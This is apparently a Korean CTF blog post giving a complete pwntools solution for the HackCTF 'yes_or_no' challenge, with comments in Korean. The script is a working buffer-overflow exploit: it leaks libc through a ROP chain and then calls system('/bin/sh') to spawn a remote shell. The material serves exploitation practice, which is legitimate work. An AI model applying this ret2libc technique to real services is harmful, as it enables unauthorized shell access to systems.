HackCTF
yes_or_no
Rasser
2021. 12. 30. 01:09
from pwn import *
context.log_level = 'debug'
p = remote("ctf.j0n9hyun.xyz" ,3009)
e = ELF('./yes_or_no')
libc = ELF('libc-2.27.so')
pr = 0x400883
#오프셋은 libc database search 이용
puts_plt = e.plt['puts']
puts_got = e.got['puts']
system_offset = 0x04f440
binsh_offset = 0x1b3e9a
puts_offset = 0x0809c0
ret = 0x400611
p.recvuntil("number~!")
p.sendline("9830400")
p.recvuntil("me")
payload = "A"*26
payload += p64(pr)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(e.symbols['main'])
p.sendline(payload)
p.recvuntil("\\n")
leak_addr = u64(str(p.recv(6) + '\\x00\\x00')) #이 주소가 정석
leak_addr1 = u64(p.recv(8)) # 이 주소는 내가 구한 방식. 잘못되었음.
leak_base = leak_addr - puts_offset
system = leak_base + system_offset
binsh = leak_base + binsh_offset
log.info('leak_addr : ' + str(hex(leak_addr)))
log.info('leak_addr1 : ' + str(hex(leak_addr1)))
p.recvuntil("number~!")
p.sendline("9830400")
p.recvuntil("me\\n")
payload1 = "A"*26
payload1 += p64(pr)
payload1 += p64(binsh) # binsh를 pop하기 위해서.
payload1 += p64(ret) #ret을 넣어주는 이유?
payload1 += p64(system) # system함수를 실행
p.sendline(payload1)
p.interactive()